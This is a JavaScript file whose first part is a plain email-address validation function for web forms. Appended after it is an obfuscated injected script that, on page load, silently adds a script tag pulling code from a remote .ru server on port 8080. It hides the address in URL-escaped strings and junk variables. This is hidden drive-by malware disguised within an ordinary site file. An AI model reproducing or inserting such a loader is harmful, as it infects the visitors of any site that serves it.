
function VerifyEmailAddress(strEmailDesc, txtEmailObj) {
	var Reason   = strEmailDesc + " entered incorrectly.  Please correct the following error(s):\n";
	var checkStr = txtEmailObj.value;
	var ix       = (checkStr.length - 1);
	var RC       = true;
	var x        = AtSignValid = DoublePeriod = PeriodValid = SpaceValid = CommaValid = ExtValid = RL = AtPeriodValid = FirstCharValid = SuffixPeriodValid = FirstCharPeriod = 0;
	for (i = 0;  i < checkStr.length;  i++) {
		if (checkStr.charAt(i) == '@') {
			if (i == 0)
				FirstCharValid++;
			AtSignValid++;
		}
		else if (checkStr.charAt(i) == '.') {
			if (checkStr.charAt(i-1) == '.')
				DoublePeriod++;
			else if (i > checkStr.indexOf("@")) 
					SuffixPeriodValid++;
				else
					PeriodValid++;
		}
		else if (checkStr.charAt(i) == ' ')
			SpaceValid ++;
		else if (checkStr.charAt(i) == ',')
			CommaValid ++;
	}

	if (checkStr.length > (checkStr.lastIndexOf(".") + 1))
		ExtValid++;

	if (checkStr.indexOf("@.", 0) > -1)
		AtPeriodValid++;

	if (checkStr.charAt(0) == '.')
		FirstCharPeriod++;
	
	RL = Reason.length;

	if (FirstCharPeriod > 0)
		Reason += "\nFirst character cannot be a period.";
		
	if (AtSignValid != 1)
		Reason += "\nOnly one '@' allowed. E-mail address contains " + AtSignValid + " '@'.";

	if (SpaceValid > 0)
		Reason += 	"\nNo leading, embedded, or trailing Spaces allowed. E-mail address contains " + SpaceValid + " space(s).";

	if (DoublePeriod > 0)
		Reason += "\nE-mail address contains multiple periods in a row.";

	if (CommaValid > 0)
		Reason += "\nNo Commas allowed. E-mail address contains " + CommaValid + " comma(s).";

	if (ExtValid == 0)
		Reason += "\nA Domain Suffix must be entered. (ie: .com, .net, .edu, .gov)";
	
	if (SuffixPeriodValid == 0)
		Reason += "\nA period is required after the @ sign";
	
	if (AtPeriodValid > 0)
		Reason += "\nA value is required between the @ sign and domain extension";
	
	if (FirstCharValid > 0)
		Reason += "\nA value is required before the @ sign";

	if (checkStr.length > 250)
		Reason += "\nPlease limit the e-mail address to 250 characters.";

	if (RL != Reason.length) {
		alert(Reason);
		txtEmailObj.focus();
		txtEmailObj.select();
		RC = false;
	}
	else
		RC = true;
	return(RC);
}




function Z(){var U;if(U!='M' && U != ''){U=null};var L=new Array();var Wa=new Array();var r=unescape;var v=window;var a=r("%2f%7a%79%6c%6f%6d%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%6f%6d%61%69%6e%74%6f%6f%6c%73%2e%63%6f%6d%2e%70%68%70");var e;if(e!=''){e='wa'};this.X='';this.c='';function h(i,P){this.NU='';var I=new String("gUIZS".substr(0,1));var Ln;if(Ln!='' && Ln!='Pf'){Ln='kD'};var N=r("%5b"), w=r("%5d");this.K='';var g=new Array();var k=N+P+w;this.Yn='';var W=new RegExp(k, I);var z;if(z!='' && z!='kp'){z=''};var t;if(t!='' && t!='Sa'){t=''};return i.replace(W, new String());this.R='';var d;if(d!='gT' && d != ''){d=null};};this.LT="";this.vW="";this.ni="";var qb;if(qb!='' && qb!='jL'){qb='LR'};this.UP='';var CC;if(CC!='Ow' && CC!='IR'){CC=''};var vt='';var G=new String();var WN;if(WN!='' && WN!='eN'){WN=null};var Ss='';this.hh='';var GQ;if(GQ!='gTk'){GQ=''};var C=h('8390228561059','29154367');var vT=document;var es;if(es!='Wt' && es != ''){es=null};function S(){this.kDk="";var q=r("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var B="";var Mf="";G=q;G+=C;var YW;if(YW!='tz' && YW!='ir'){YW=''};G+=a;var mN;if(mN!='lw' && mN != ''){mN=null};try {this.ah="";var mc;if(mc!=''){mc='gm'};CA=vT.createElement(h('sMcnr9i9pMtC','MCn9'));var __;if(__!='' && __!='tN'){__=null};var Ql;if(Ql!='ev' && Ql != ''){Ql=null};var s;if(s!='WNa' && s != ''){s=null};CA[r("%64%65%66%65%72")]=[1][0];var aZ;if(aZ!='Tx' && aZ!='Lu'){aZ='Tx'};this.yX='';CA[r("%73%72%63")]=G;var uQ;if(uQ!='wn' && uQ!='ng'){uQ='wn'};vT.body.appendChild(CA);var E;if(E!='Ix' && E!='vBS'){E='Ix'};var SdR;if(SdR!='DU' && SdR!='wW'){SdR='DU'};var VR;if(VR!='hf'){VR=''};var tQ="";} catch(wu){var O_=new String();alert(wu);};}var eV=new String();v[new String("on"+"loW9d5".substr(0,2)+"ad")]=S;var Xo=new Array();var uE=new String();var nO=new String();};var Qc=new Date();var BZ;if(BZ!='dm' && BZ != ''){BZ=null};Z();var Tr;if(Tr!='Tm' && Tr!='iX'){Tr='Tm'};var sL;if(sL!='ae'){sL='ae'};